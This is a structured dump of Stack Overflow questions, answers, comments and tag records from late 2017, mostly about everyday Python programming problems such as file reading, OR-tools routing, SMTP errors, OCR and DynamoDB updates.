has body: Try this code Happy = ['amazed', 'amazing', 'best', 'excellent', 'excited', 'excite', 'excites', 'exciting', 'glad', 'greatest', 'happy', 'love', 'loves', 'loved', 'loving', 'lovin', 'prettiest'] def CountFile(): file = open("File.txt", "r") count = 0 for i in file: i = i.split() for so in i: if so in Happy: count = count + 1 print("there are %s keywords" %count) CountFile()
answers question: http://stackoverflow.com/q/47299945
score: 2
downvote count: 0

http://stackoverflow.com/q/47319532
downvote count: 0
accepted answer: http://stackoverflow.com/a/47744231
type: Question
has answer: http://stackoverflow.com/a/47744231
score: 3
possible better answer: http://stackoverflow.com/a/50570054
has answer: http://stackoverflow.com/a/47319574
answer count: 3
has title: Vehicle Routing Prob with non-connected graph or-tools Python
has answer: http://stackoverflow.com/a/50570054
type: AnsweredQuestion
tagged with: python
has body: I'm using this python library or-tools: https://developers.google.com/optimization/routing/tsp/vehicle_routing (the code can be found here). The problem is that when you run the solution it gives you a path to take that covers all of the nodes once. But my project needs constraints on the paths between nodes. For example, if you are on node {3} you may not travel to node {18}. Or in another way, if you are at node {5} you can only travel to nodes {1, 12, 14}. I'm unsure how to add this constraint into the current code example. Allow me to explain further... If we were to look at this graph: You may see a representation of this graph here: https://www.datacamp.com/community/tutorials/networkx-python-graph-tutorial Clearly in this problem you can not travel to certain nodes from other nodes. I am using the data from this graph in the google or-tools example to obtain a vehicle routing problem solution. Here is my code: import math from ortools.constraint_solver import pywrapcp from ortools.constraint_solver import routing_enums_pb2 import pandas as pd from sklearn import preprocessing def distance(x1, y1, x2, y2): dist = ((x1 - x2)**2 + (y1 - y2)**2)**(1/2) return dist class CreateDistanceCallback(object): """Create callback to calculate distances between points.""" def __init__(self, locations): """Initialize distance array.""" size = len(locations) self.matrix = {} for from_node in range(size): self.matrix[from_node] = {} for to_node in range(size): x1 = locations[from_node][0] y1 = locations[from_node][1] x2 = locations[to_node][0] y2 = locations[to_node][1] self.matrix[from_node][to_node] = distance(x1, y1, x2, y2) def Distance(self, from_node, to_node): return int(self.matrix[from_node][to_node]) # Demand callback class CreateDemandCallback(object): """Create callback to get demands at each location.""" def __init__(self, demands): self.matrix = demands def Demand(self, from_node, to_node): return self.matrix[from_node] def main(): # Create the data. data = creat…
favorite count: 0
tagged with: or-tools
upvote count: 3

http://stackoverflow.com/comment/81887114
score: 0
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/47238926
has text: @mrry ParseySaurus was released on the google blog here: https://research.googleblog.com/2017/03/an-upgrade-to-syntaxnet-new-models-and.html The models can be downloaded from the link here https://github.com/tensorflow/models/tree/master/research/syntaxnet/g3doc/conll2017

http://stackoverflow.com/q/47325779
score: 0
answer count: 1
tagged with: email
tagged with: smtp
has body: I am trying to send mail using SMTP server but I am getting error but the same code is working using gmail.so can you help me to fingd the solution. from smtplib import SMTP import datetime debuglevel = 0 smtp = SMTP() smtp.set_debuglevel(debuglevel) smtp.connect('e3-smtp-gtm.zxp.com', 25) from_addr = "from mail id" to_addr = "to mail id" subj = "hello" date = datetime.datetime.now().strftime( "%d/%m/%Y %H:%M" ) message_text = "Hello\nThis is a mail from your server\n\nBye\n" msg = "From: %s\nTo: %s\nSubject: %s\nDate: %s\n\n%s" % ( from_addr, to_addr, subj, date, message_text ) smtp.sendmail(from_addr, to_addr, msg) smtp.quit() When I run above code I am getting error as below {'to mail id': (550, b'5.7.1 ...Relaying denied. IP name possibly forged [216.136.38.14]')} Can anyone help me what is main reason for getting this error
type: Question
tagged with: ip
type: UnansweredQuestion
tagged with: python
has answer: http://stackoverflow.com/a/47326397
has title: Relaying denied. IP name possibly forged [216.136.38.14]')} Python error

http://stackoverflow.com/comment/81616148
score: 0
comment on: http://stackoverflow.com/q/47332282
has text: Does your environment PATH variable contain the "/usr/local/bin/" dir?
type: Comment
type: QuestionComment

http://stackoverflow.com/comment/85950714
score: 0
comment on: http://stackoverflow.com/q/47336941
type: QuestionComment
type: Comment
has text: @wnamen, are you running this in python3 or python2?

http://stackoverflow.com/q/47376325
downvote count: 1
favorite count: 0
type: Question
tagged with: python
tagged with: dictionary
accepted answer: http://stackoverflow.com/a/47376374
has title: Replace each character in string by float from dictionary and sum all replaced values together
has answer: http://stackoverflow.com/a/47376374
type: AnsweredQuestion
tagged with: python-2.7
has comment: http://stackoverflow.com/comment/81704860
upvote count: 2
has body: I want a value of each string in simsec_0 which is calculated by replacing all the characters with float from dictionary monoisotopicaa_dict peptides_report = {'simsec_0': ['CCYYK', 'TTSS']} monoisotopicaa_dict = {"C":103.00919,"E":129.04259,"Q":128.05858, \ "K":128.09496,"M":131.04049,"F":147.06841, \ "S":87.03203,"T":101.04768,"W":186.07931,"Y":163.06333} The expected result is something like {'simsec_0':[['CCYYK',660.24], ['TTSS',376.15942]]} So I try to write function CALC replacing each string p_v_each with float from dictionary def CALC(peptides_report, monoisotopicaa_dict): for p_k, p_v in peptides_report.iteritems(): for p_v_each in p_v: for mono_each in monoisotopicaa_dict.keys(): # May be replace with number and "+" # string = p_v_each.replace(mono_each, monoisotopicaa_dict[mono_each]) xxx = CALC(peptides_report, monoisotopicaa_dict) What should I do with the string to get value and able to sum them?
answer count: 1
score: 1

http://stackoverflow.com/comment/81587543
has text: @PeterH no, *Python does not have pointers*. The CPython implementation uses pointers, and if you understand C, the perhaps understanding some implementation details will help you understand how Python is working, but *Python itself* does not have pointers (outside of the `ctypes` FFI)
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/47318136
score: 0

http://stackoverflow.com/comment/105913768
score: 2
has text: **This worked for me to get a list of dicts from a str.** `yaml.load` has been deprecated because it could be easily exploited (as @Anthon commented). Now a Loader has to be specified. For example `yaml.load(x, Loader=yaml.BaseLoader)` Read https://github.com/yaml/pyyaml/wiki/PyYAML-yaml.load(input)-Deprecation for more information.
type: Comment
type: AnswerComment
comment on: http://stackoverflow.com/a/52553946

http://stackoverflow.com/comment/81498263
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/47273443
has text: In that case, what is the logic for a split?
score: 0

http://stackoverflow.com/q/47318181
tagged with: python
tagged with: ftputil
tagged with: ftp
tagged with: python-3.x
upvote count: 0
downvote count: 2
score: -2
answer count: 1
favorite count: 0
type: Question
has title: Python 3.4/Ftputil 3.4 only runs a single command then exits
type: AnsweredQuestion
has body: I'm currently making the base of a personal ftp program, using ftputil 3.4 and python 3.4, ive successfully gotten it to log in and i can run follow up commands in the python interpreter but after a single command it goes back to the main interpreter. as an example if i login, then run list, then it lists once, if i were to try it again it returns the result of typing list in pythons idle shell. import ftputil User = input() Password = input() ftp = ftputil.FTPHost('ip', User, Password) names = ftp.listdir(ftp.curdir) print(names) userinput = input() if userinput == 'list': print(names) #not yet implemented download function #if userinput == 'get': # ftp. I'm looking for a way to keep the program from 'closing' so that i can continue running commands to and from the ftp server
has answer: http://stackoverflow.com/a/47318327
tagged with: windows
accepted answer: http://stackoverflow.com/a/47318327

http://stackoverflow.com/a/47288828
score: 2
has body: The code looks really similar to numpy: idx = (x1 &gt; x2) x2[idx] = x1[idx] Using some predefined arrays and printing x2: x1 = torch.from_numpy(np.array([1, 2, 3, 4, 5])).float().cuda() x2 = torch.from_numpy(np.array([3, 3, 3, 3, 3])).float().cuda() 3 3 3 4 5 [torch.cuda.FloatTensor of size 5 (GPU 0)] Code would be the same for NxN dimensional tensors. Using: x1 = torch.from_numpy(np.array([[1, 2, 5], [1, 4, 5]])).float().cuda() x2 = torch.from_numpy(np.array([[3, 3, 3], [3, 3, 3]])).float().cuda() 3 3 5 3 4 5 [torch.cuda.FloatTensor of size 2x3 (GPU 0)]
downvote count: 0
type: AcceptedAnswer
answers question: http://stackoverflow.com/q/47287858
type: Answer
accepted answer of: http://stackoverflow.com/q/47287858
upvote count: 2

http://stackoverflow.com/a/47266982
score: 10
type: Answer
has body: Googles tesseract-ocr already has this functionality in page segmentation method(psm). You just need to use a better python wrapper, which exposes more of tesseract's functionalities than pytesseract does. One of the better ones is tesserocr. A simple example with your image: import cv2 import numpy as np import tesserocr as tr from PIL import Image cv_img = cv2.imread('text.png', cv2.IMREAD_UNCHANGED) # since tesserocr accepts PIL images, converting opencv image to pil pil_img = Image.fromarray(cv2.cvtColor(cv_img,cv2.COLOR_BGR2RGB)) #initialize api api = tr.PyTessBaseAPI() try: # set pil image for ocr api.SetImage(pil_img) # Google tesseract-ocr has a page segmentation methos(psm) option for specifying ocr types # psm values can be: block of text, single text line, single word, single character etc. # api.GetComponentImages method exposes this functionality # function returns: # image (:class:`PIL.Image`): Image object. # bounding box (dict): dict with x, y, w, h keys. # block id (int): textline block id (if blockids is ``True``). ``None`` otherwise. # paragraph id (int): textline paragraph id within its block (if paraids is True). # ``None`` otherwise. boxes = api.GetComponentImages(tr.RIL.TEXTLINE,True) # get text text = api.GetUTF8Text() # iterate over returned list, draw rectangles for (im,box,_,_) in boxes: x,y,w,h = box['x'],box['y'],box['w'],box['h'] cv2.rectangle(cv_img, (x,y), (x+w,y+h), color=(0,0,255)) finally: api.End() cv2.imshow('output', cv_img) cv2.waitKey(0) cv2.destroyAllWindows()
answers question: http://stackoverflow.com/q/47260277
has comment: http://stackoverflow.com/comment/81485168
upvote count: 10
has comment: http://stackoverflow.com/comment/81513891
has comment: http://stackoverflow.com/comment/81485267
has comment: http://stackoverflow.com/comment/81485481
type: AcceptedAnswer
downvote count: 0
accepted answer of: http://stackoverflow.com/q/47260277
has comment: http://stackoverflow.com/comment/81484798

http://stackoverflow.com/q/47297656
downvote count: 2
has body: So I need to write a program that reads a text file, and copies its contents to another file. I then have to add a column at the end of the text file, and populate that column with an int that is calculated using the function calc_bill. I can get it to copy the contents of the original file to the new one, but I cannot seem to get my program to read in the ints necessary for calc_bill to run. Any help would be greatly appreciated. Here are the first 3 lines of the text file I am reading from: CustomerID Title FirstName MiddleName LastName Customer Type 1 Mr. Orlando N. Gee Residential 297780 302555 2 Mr. Keith NULL Harris Residential 274964 278126 It is copying the file exactly as it is supposed to to the new file. What is not working is writing the bill_amount (calc_bill)/ billVal(main) to the new file in a new column. Here is the expected output to the new file: CustomerID Title FirstName MiddleName LastName Customer Type Company Name Start Reading End Reading BillVal 1 Mr. Orlando N. Gee Residential 297780 302555 some number 2 Mr. Keith NULL Harris Residential 274964 278126 some number And here is my code: def main(): file_in = open("water_supplies.txt", "r") file_in.readline() file_out = input("Please enter a file name for the output:") output_file = open(file_out, 'w') lines = file_in.readlines() for line in lines: lines = [line.split('\t')] #output_file.write(str(lines)+ "\n") billVal = 0 c_type = line[5] start = int(line[7]) end = int(line[8]) billVal = calc_bill(c_type, start, end) output_file.write(str(lines)+ "\t" + str(billVal) + "\n") def calc_bill(customer_type, start_reading, end_reading): price_per_gallon = 0 if customer_type == "Residential": price_per_gallon = .012 elif customer_type == "Commercial": price_per_gallon = .011 elif customer_type == "Industrial": price_per_gallon = .01 if start_reading &gt;= end_reading: print("Error: please try again") else: reading = end_reading - start_reading bill_amount = reading * price_per_gallon return bill_amou…
tagged with: file
has comment: http://stackoverflow.com/comment/81546744
has comment: http://stackoverflow.com/comment/81546940
possible better answer: http://stackoverflow.com/a/47297769
favorite count: 0
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/81546895
has comment: http://stackoverflow.com/comment/81546768
answer count: 3
has comment: http://stackoverflow.com/comment/81546834
has answer: http://stackoverflow.com/a/47297808
score: -2
has title: Python File Reading & Writing
tagged with: python
type: Question
has comment: http://stackoverflow.com/comment/81546795
has answer: http://stackoverflow.com/a/47297775
has answer: http://stackoverflow.com/a/47297769
accepted answer: http://stackoverflow.com/a/47297808
upvote count: 0

http://stackoverflow.com/comment/136815635
type: Comment
score: 0
type: AnswerComment
has text: `.\python.exe -ArgumentList PrependPath=1` is what I was looking for. (Pre*p*endPath takes a p.)
comment on: http://stackoverflow.com/a/47465400

http://stackoverflow.com/q/47293645
upvote count: 2
accepted answer: http://stackoverflow.com/a/47293697
downvote count: 0
has comment: http://stackoverflow.com/comment/81538099
has comment: http://stackoverflow.com/comment/81538124
has answer: http://stackoverflow.com/a/47293697
favorite count: 0
score: 2
has answer: http://stackoverflow.com/a/47294633
type: AnsweredQuestion
has title: how to read a specific position in the last line using python
has body: I have a txt file that is too large and has several similar lines, like this: word1 word2 word3 word4 -553.75 I am interested in the position [4] "the value", that of the last line -553.75 my file text: . . word1 word2 word3 word4 -553.20 . . . word1 word2 word3 word4 -553.25 . . . word1 word2 word3 word4 -553.75 . . . my script : def main(): oTE_list = [] oTE = [] with open("file.txt","r") as f: text = f.readlines() for line in text: if line[0] == 'word1' and line[1] == 'word2' and line[2] == 'word3' and line[3] == 'word4': oTE_list.append(line[4]) # Change Lists To Number Format for idx, item in enumerate(oTE_list): if idx == len(oTE_list) - 1: print(item) if __name__ == '__main__': main() but I do not know why it does not work with me! thank you in advance.
tagged with: python
possible better answer: http://stackoverflow.com/a/47294633
type: Question
tagged with: python-3.x
answer count: 2

http://stackoverflow.com/comment/81585578
score: 1
has text: @Harvey Yeah, I doubt there's a significant performance difference. Personally, I find that 2 is usually my limit for nested `for` loops in comprehensions for readability, but it's certainly a matter of personal preference.
type: Comment
comment on: http://stackoverflow.com/a/47317085
type: AnswerComment

tkinter
tags question: http://stackoverflow.com/q/47227947
tags question: http://stackoverflow.com/q/47268474
tags question: http://stackoverflow.com/q/47247857
tags question: http://stackoverflow.com/q/47322794
tags question: http://stackoverflow.com/q/47355238
tags question: http://stackoverflow.com/q/47357023
tags question: http://stackoverflow.com/q/47371758
tags question: http://stackoverflow.com/q/47297542
tags question: http://stackoverflow.com/q/47303245
tags question: http://stackoverflow.com/q/47294500
tags question: http://stackoverflow.com/q/47315764
tags question: http://stackoverflow.com/q/47246483
tags question: http://stackoverflow.com/q/47378566
tags question: http://stackoverflow.com/q/47342755
tags question: http://stackoverflow.com/q/47237690
tags question: http://stackoverflow.com/q/47342764
tags question: http://stackoverflow.com/q/47363759
tags question: http://stackoverflow.com/q/47318905
tags question: http://stackoverflow.com/q/47329419
tags question: http://stackoverflow.com/q/47328893
tags question: http://stackoverflow.com/q/47291557
tags question: http://stackoverflow.com/q/47373108
tags question: http://stackoverflow.com/q/47333270
tags question: http://stackoverflow.com/q/47307157
tags question: http://stackoverflow.com/q/47261628
tags question: http://stackoverflow.com/q/47347940
tags question: http://stackoverflow.com/q/47276107
tags question: http://stackoverflow.com/q/47360766
tags question: http://stackoverflow.com/q/47292887
tags question: http://stackoverflow.com/q/47249956
tags question: http://stackoverflow.com/q/47334592
tags question: http://stackoverflow.com/q/47256035
tags question: http://stackoverflow.com/q/47273825
tags question: http://stackoverflow.com/q/47365236
tags question: http://stackoverflow.com/q/47295740
tags question: http://stackoverflow.com/q/47371268
tags question: http://stackoverflow.com/q/47370888
tags question: http://stackoverflow.com/q/47374105
tags question: http://stackoverflow.com/q/47357808
tags question: http://stackoverflow.com/q/47264288
tags question: http://stackoverflow.com/q/47306956
tags question: http://stackoverflow.com/q/47226530
tags question: http://stackoverflow.com/q/47357090
tags question: http://stackoverflow.com/q/47369912
tags question: http://stackoverflow.com/q/47356539
tags question: http://stackoverflow.com/q/47262388
tags question: http://stackoverflow.com/q/47330237
tags question: http://stackoverflow.com/q/47244330
tag name: tkinter
tags question: http://stackoverflow.com/q/47299587
tags question: http://stackoverflow.com/q/47300073
tags question: http://stackoverflow.com/q/47367075
tags question: http://stackoverflow.com/q/47360825
tags question: http://stackoverflow.com/q/47339287
tags question: http://stackoverflow.com/q/47352833
tags question: http://stackoverflow.com/q/47242915
tags question: http://stackoverflow.com/q/47304653
tags question: http://stackoverflow.com/q/47318556
tags question: http://stackoverflow.com/q/47255465
tags question: http://stackoverflow.com/q/47277082
tags question: http://stackoverflow.com/q/47341869
tags question: http://stackoverflow.com/q/47238880
tags question: http://stackoverflow.com/q/47240847
tags question: http://stackoverflow.com/q/47354075
tags question: http://stackoverflow.com/q/47372780
tags question: http://stackoverflow.com/q/47249742
tags question: http://stackoverflow.com/q/47304539
tags question: http://stackoverflow.com/q/47297059
tags question: http://stackoverflow.com/q/47247865
tags question: http://stackoverflow.com/q/47312887
tags question: http://stackoverflow.com/q/47247867
tags question: http://stackoverflow.com/q/47224061
tags question: http://stackoverflow.com/q/47290791
tags question: http://stackoverflow.com/q/47267131
tags question: http://stackoverflow.com/q/47381898
tags question: http://stackoverflow.com/q/47304683
tags question: http://stackoverflow.com/q/47231517
tags question: http://stackoverflow.com/q/47288263
tags question: http://stackoverflow.com/q/47342623
tags question: http://stackoverflow.com/q/47297790

http://stackoverflow.com/comment/81424311
type: Comment
comment on: http://stackoverflow.com/a/47236797
score: 0
has text: Thanks sir Andersson, for your intervention and the script. Plus one for it. Anyways, when I execute your code it produces the same result as I was having in the first place without scrolling. Should I put a hardcoded delay anywhere within the while loop? Thanks again for your answer sir.
type: AnswerComment

http://stackoverflow.com/q/47259989
tagged with: python
has title: Prefix filename with LasWriteTime based on filetype
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/81471272
downvote count: 0
has answer: http://stackoverflow.com/a/47261259
score: 1
upvote count: 1
accepted answer: http://stackoverflow.com/a/47261259
answer count: 1
has body: Trying to append the lastwrite time (last file content modification time) timestamp into the filename of select media filetypes only, from different camera models. The pattern would be: YYYYMMDD_HHMMSS__origfilename.ext. For example, before and after the rename: origfilename.jpg &gt; 20011231_235959__origfilename.jpg origfilename2.png &gt; origfilename2.png #.txt is not a "media_file" The filetypes to timestamp are defined in a nested dictionary and called with config[camID]["media_file"] for each camera type : Code (last line gives syntax error): config = { 'nd5': {}, 'g7': {}, 'alpha9': {}, } config['nd5']['media_file'] = ('nef', 'jpg', 'avi') config['g7']['media_file'] = ('cr2', 'jpg', 'mp4') config['alpha9']['media_file'] = ('jpg') root = "." def get_last_write_time(filename): st = os.stat(filename) convert_time_to_human_readable = time.strftime("%Y%m%d_%H%M%S", time.localtime(st.st_mtime)) return convert_time_to_human_readable timestr = convert_time_to_human_readable for camID in config: for dir in next(os.walk(root))[1]: if dir.endswith(camID): for path, dirs, files in os.walk(os.path.join(root, dir)): for f in files: if any([f.lower().endswith(x) for x in config[camID]["media_file"]]): os.rename(os.path.join(path, f) os.path.join(path, "%s" % timestr+'_'+f)) Tree showing the =camID (=key1, the string after the last = in the directory name) and the filetypes to append timestamp: └───CWD ├───001=nd5 │ └───DCIM │ ├───125NCD5 ('nef', 'jpg', 'avi') │ ├───126NCD5 ('nef', 'jpg', 'avi') │ └───127NCD5 ('nef', 'jpg', 'avi') ├───002=nd5 │ └───DCIM │ ├───201NCD5 ('nef', 'jpg', 'avi') │ ├───202NCD5 ('nef', 'jpg', 'avi') │ └───203NCD5 ('nef', 'jpg', 'avi') ├───003=g7 │ └───DCIM │ ├───112___09 ('cr2', 'jpg', 'mp4') │ └───112___10 ('cr2', 'jpg', 'mp4') └───004=alpha9 ├───DCIM │ └───101MSDCF ('jpg') └───PRIVATE ├───AVCHD │ └───BDMV │ ├───CLIPINF │ ├───PLAYLIST │ └───STREAM └───SONY
favorite count: 0
type: Question
tagged with: python-3.x
has comment: http://stackoverflow.com/comment/81470903
has comment: http://stackoverflow.com/comment/81470833
has comment: http://stackoverflow.com/comment/81471336

http://stackoverflow.com/comment/81498330
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/47272667
type: Comment
has text: you are right, I'm cooked! however 'codice' can be alphanumeric so give me: ValueError: invalid literal for int() with base 10

http://stackoverflow.com/a/47310282
upvote count: 2
accepted answer of: http://stackoverflow.com/q/47309913
downvote count: 0
type: Answer
has comment: http://stackoverflow.com/comment/88277122
score: 2
answers question: http://stackoverflow.com/q/47309913
type: AcceptedAnswer
has body: Just omit the format. It is not necessary and breaks your code. Use this template for your package.xml. <?xml version="1.0"?> <package> basic 0.0.0 The basic package gtkratosman-lap TODO <buildtool_depend>catkin</buildtool_depend> <build_depend>rospy</build_depend> <build_depend>message_generation</build_depend> <run_depend>message_runtime</run_depend>
has comment: http://stackoverflow.com/comment/88291352

http://stackoverflow.com/a/47326346
upvote count: 7
accepted answer of: http://stackoverflow.com/q/47311293
has body: Uff can I downvote my own question? Solution: referenceQuery does what i want. cmds.referenceQuery('reference', filename = True)
score: 7
type: Answer
type: AcceptedAnswer
downvote count: 0
answers question: http://stackoverflow.com/q/47311293

http://stackoverflow.com/q/47278133
has title: Error on my program - How to split words by spaces on a list? Python (used Dictionaries, Lists, .txt file)
type: Question
has body: Hey my program has this which I think should work, I have gone through the whole program and everything seems fine. But somehow the program doesn't split the words in the list by spaces. I have used lists and dictionaries in my code which seem to work, I have tested a few things but when I input the .txt file everything is fine and the program works perfectly but when you input your own words the program seems to put all of the words with spaces (example of what I mean: if I input house phone keyboard the program adds all 3 words as if they were one) My question is how can I split the words by spaces when the user inputs the words themselves instead of using a .txt file? #These are the helper variables wordsList = [] wordsDict = {} words = 0 typeFile = 0 textFile = 0 text = 0 sortValue = 0 #Here we ask the person if they want to input their own words or use a .txt file print("Input 'a' to input your own words or input 'b' to input text from a .txt file") typeFile = input() #Here we make an if statement if they chose to input their own words if typeFile == "a": print("enter 'x' when finished") while True: #Here we ask the user to input their words print("Input your words") words = input() #This will finish asking for input when the user enters x if words == 'x': break #this puts the words on the list wordsList.append(words) #Here we make an if statement if they chose to use a .txt file if typeFile == "b": #This asks for the .txt file they want to open words = input("input which .txt file you would like to use (text_file.txt)") #This opens the file textFile = open(words, 'r') text = textFile.read() #This adds the words of the file into the list and separates each word by spaces wordsList = text.split() #This sorts the list for text in range(len(wordsList)): #This looks if the word has been added to the dictionary if wordsList[text] in wordsDict.keys(): #this will add a +1 value to the word if it is in already in the dictionary wordsDict[wordsList[text]] += 1 #This loo…
tagged with: python-3.x
answer count: 2
has answer: http://stackoverflow.com/a/47320952
type: UnansweredQuestion
has answer: http://stackoverflow.com/a/47280015
tagged with: python
score: 0

instrumentation
type: Tag
tag name: instrumentation
tags question: http://stackoverflow.com/q/47380733

http://stackoverflow.com/comment/81439879
score: 0
has text: Don't post long code, post the specific relevant code to demonstrate your problem. If you don't know what that code is, keep trying until you do. Please don't dump hundreds of lines of code on us and expect us to dig through it.
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/47244706

http://stackoverflow.com/comment/81542779
comment on: http://stackoverflow.com/a/47295493
type: AnswerComment
type: Comment
has text: i did test it using the python interpreter of jupyter notebook's terminal. that's a unix environment.
score: 0

http://stackoverflow.com/a/47335052
has comment: http://stackoverflow.com/comment/81621898
type: AcceptedAnswer
downvote count: 0
has comment: http://stackoverflow.com/comment/81621599
has comment: http://stackoverflow.com/comment/81621861
has body: You need to properly indent your code. From your question I'm guessing this would resolve your issue: import crc16 def gen_qr_text(acc_id,amount): pp_acc_id = "" pp_amount = "" pp_chksum = "" if len(acc_id) == 15: pp_acc_id = "0315" + acc_id elif acc_id.length() == 13: pp_acc_id = "0213" + acc_id elif acc_id.length() == 10: pp_acc_id = "01130066" + acc_id.substring(1) else: return "null" if not amount: pp_amount = format("54%02d%s", amount.length(), amount) pp_str = "00020101021129370016A000000677010111" + pp_acc_id + "5303764" + pp_amount + "5802TH" + "6304" pp_chksum = crc16.checksum(pp_str); pp_str += pp_chksum; return pp_str
answers question: http://stackoverflow.com/q/47334633
type: Answer
score: 2
accepted answer of: http://stackoverflow.com/q/47334633
upvote count: 2

http://stackoverflow.com/comment/81684522
score: 0
type: Comment
type: QuestionComment
has text: The double brackets suggest you have a list of a list of tuples. Is that a typo?
comment on: http://stackoverflow.com/q/47365816

http://stackoverflow.com/comment/81443024
comment on: http://stackoverflow.com/a/47236190
score: 0
type: AnswerComment
has text: for reading the csv into a dataframe use pandas command as follows: import pandas as pd df=pd.read_csv(pathtofile) then perform above step
type: Comment

http://stackoverflow.com/comment/81506299
comment on: http://stackoverflow.com/q/47277393
has text: I tried all the solutions given in youe link.
score: 0
type: Comment
type: QuestionComment

http://stackoverflow.com/q/47373255
type: Question
has body: When packing bytes with python's struct.pack, I was surprised that although my byte order is little-endian, my bit order appears to be big-endian. My most significant bytes appear on the right side in the output below, but the most significant bits of each byte appear on the left. (I'm using BitArray from bitstring to display the bits.) In[23]: BitArray(struct.pack('B', 1)).bin Out[23]:'00000001' In[24]: BitArray(struct.pack('H', 1)).bin Out[24]:'0000000100000000' In[25]: sys.byteorder Out[25]:'little' This surprises me because I read here that "Bit order usually follows the same endianness as the byte order for a given computer system. That is, in a big endian system the most significant bit is stored at the lowest bit address; in a little endian system, the least significant bit is stored at the lowest bit address." Am I interpreting it correctly that my bit order is the reverse of my byte order here? Also, I know you can change the byte order using the &gt; and &lt;, but I guess there is no way to change the bit order? Edit: For context, right now I'm writing a python implementation of TCP communication with an ATI NetFT sensor based on the protocol description starting on page B - 76 here. But, this same question comes up frequently in my work implementing serial and network communications with all sorts of sensors. In this case, the protocol description says things like: set bit 2 of byte 16 to 1 to bias the sensor, and I've been finding that bit 0 in python does not correspond to the bit 0 that controls the bias -- the bit order in the byte seems to be flipped.
tagged with: python
tagged with: endianness
has answer: http://stackoverflow.com/a/47373789
score: 2
tagged with: struct
upvote count: 2
type: UnansweredQuestion
downvote count: 0
answer count: 1
has title: Bit order in python's struct.pack
has comment: http://stackoverflow.com/comment/81715558
favorite count: 0

http://stackoverflow.com/comment/81576212
type: Comment
comment on: http://stackoverflow.com/q/47312554
score: 1
has text: And it would be in combination with @TalSkverer's dupe, since you're using `DictReader`.
type: QuestionComment

email
tags question: http://stackoverflow.com/q/47325779
tags question: http://stackoverflow.com/q/47262193
tags question: http://stackoverflow.com/q/47342629
tags question: http://stackoverflow.com/q/47259008
tags question: http://stackoverflow.com/q/47253043
tags question: http://stackoverflow.com/q/47317367
tags question: http://stackoverflow.com/q/47381982
tags question: http://stackoverflow.com/q/47269251
tags question: http://stackoverflow.com/q/47334185
tags question: http://stackoverflow.com/q/47286828
type: Tag
tag name: email
tags question: http://stackoverflow.com/q/47297103

svd
type: Tag
tags question: http://stackoverflow.com/q/47227895
tag name: svd

http://stackoverflow.com/q/47327523
upvote count: 1
tagged with: lambda
tagged with: amazon-web-services
tagged with: aws-lambda
possible better answer: http://stackoverflow.com/a/47327655
type: AnsweredQuestion
has body: I have a table with column "Name" and "Vote", I want to increase the Vote count whenever I do update_item. I tried the below query but no luck. db.update_item(Key={ "Name":"Dany"}, UpdateExpression='ADD #oldVote :newVote', ExpressionAttributeNames={ '#oldVote' :'Vote'}, ExpressionAttributeValues={':newVote': {"N": "1"}} ) Getting error as: "An error occurred (ValidationException) when calling the UpdateItem operation: Invalid UpdateExpression: Incorrect operand type for operator or function; operator: ADD, operand type: MAP" error
has answer: http://stackoverflow.com/a/47327655
has answer: http://stackoverflow.com/a/47328692
score: 1
tagged with: python
has title: Want a counter in aws Dynamodb
favorite count: 0
type: Question
accepted answer: http://stackoverflow.com/a/47328692
answer count: 2
tagged with: amazon-dynamodb
downvote count: 0

http://stackoverflow.com/q/47260669
tagged with: matplotlib
tagged with: python
has title: Python: define color curve section
has answer: http://stackoverflow.com/a/47267244
tagged with: curve
type: UnansweredQuestion
answer count: 1
tagged with: plot
type: Question
score: 0
has body: I am trying to replicate the following figure: The color gradient goes from blue to red and indicates the state of a material. I can currently plot each curve. Each line is defined by two points, and is then simply plotted using pyplot (matplotlib library). I also have a clear idea on how to compute the associated value. However, it can be noticed, for example for point 9 or 22 on the first figure, that the value is different at the overlapping area. I have currently no clue on how to do that effectively. The only idea I have comes from this solution. Basically, I have to turn each curve section into a polygon. But it looks very heavy, and prehaps not the best solution in this case. I am mainly asking for leads that could help me to achieve this, or just a smarter way to look at the problem ! The code that produced this figure: import shelve import matplotlib.pyplot as plt import os path = "C:/Users/***/Desktop/Python/PyHugo/" d = shelve.open(os.path.join(path, 'output.db')) pointMat = d ['curve'] d.close() fig=plt.figure() ax=fig.add_subplot(111) for matID in pointMat.keys(): for couple in range(len(pointMat[matID])-1): plt.plot([pointMat[matID][couple][0][0],pointMat[matID][couple][1][0]],[pointMat[matID][couple][0][1],pointMat[matID][couple][1][1]]) plt.show() Points are stored in the pointMat dictionnary. Each area has a set of points. An area is a specific material. It is represented on figure one by le black line (around 540). So in the current example there are 2 materials. The, the first set of points is given by: print matPoint[0][0] results : [[20, 20], [0, 40]]. We asked for the first couple of point in the first material. Edit 1: code added, off-topic question removed EDIT 2: Instead of plotting the curves, I am mapping the values over a grid (discretisation of the phenomena). The problem has too many variations, and this seemed a better idea. Thank you for the time spend trying to help me !
linked to: http://stackoverflow.com/q/37563526

http://stackoverflow.com/q/47359801
linked to: http://stackoverflow.com/q/10484261
has comment: http://stackoverflow.com/comment/81672608
has answer: http://stackoverflow.com/a/47360122
has title: How to search for all the characters from a string in all Dictionary.Values()
has body: First of all I know that out there are many similar posts which I have listed below, however, none to my knowledge answer the problem I'm facing this is because all that I have found are asking how to search for a string in 'dict.values()' and not to search every single character in the string and check whether it is in the 'dict.values()' and if it has found any characters in the string that appear in the characters of 'dict.values()' it will return which and how many. Links to similar posts which don't answer the question but could be useful to some: How to search if dictionary value contains certain string with Python Find dictionary items whose key matches a substring How can I check if the characters in a string are in a dictionary of values? How to search if dictionary value contains certain string with Python This is what I have so far but don't seem to work at all... characters = {'small':'abcdefghijklmnopqrstuvwxyz', 'big':'ABCDEFGHIJKLMNOPQRSTUVWXYZ', 'nums':'0123456789', 'special':"!#$%&amp;()*+,-./:;&lt;=&gt;?@[\]^_{|}~",} password = 'aAb' def count(pass_word,char_set): num_of_char = 0 char_list = [] for char in pass_word: if i in char_set.values(): num_of_char +=1 char_list += i return char_list, num_of_char #Print result print(count(password,characters)) The output should be something similar to: 'a','A','b' 3 Hopefully, you understand what I mean and if anything unclear please comment so that I can improve it.
favorite count: 0
has comment: http://stackoverflow.com/comment/81672653
tagged with: python
upvote count: 4
tagged with: dictionary
score: 4
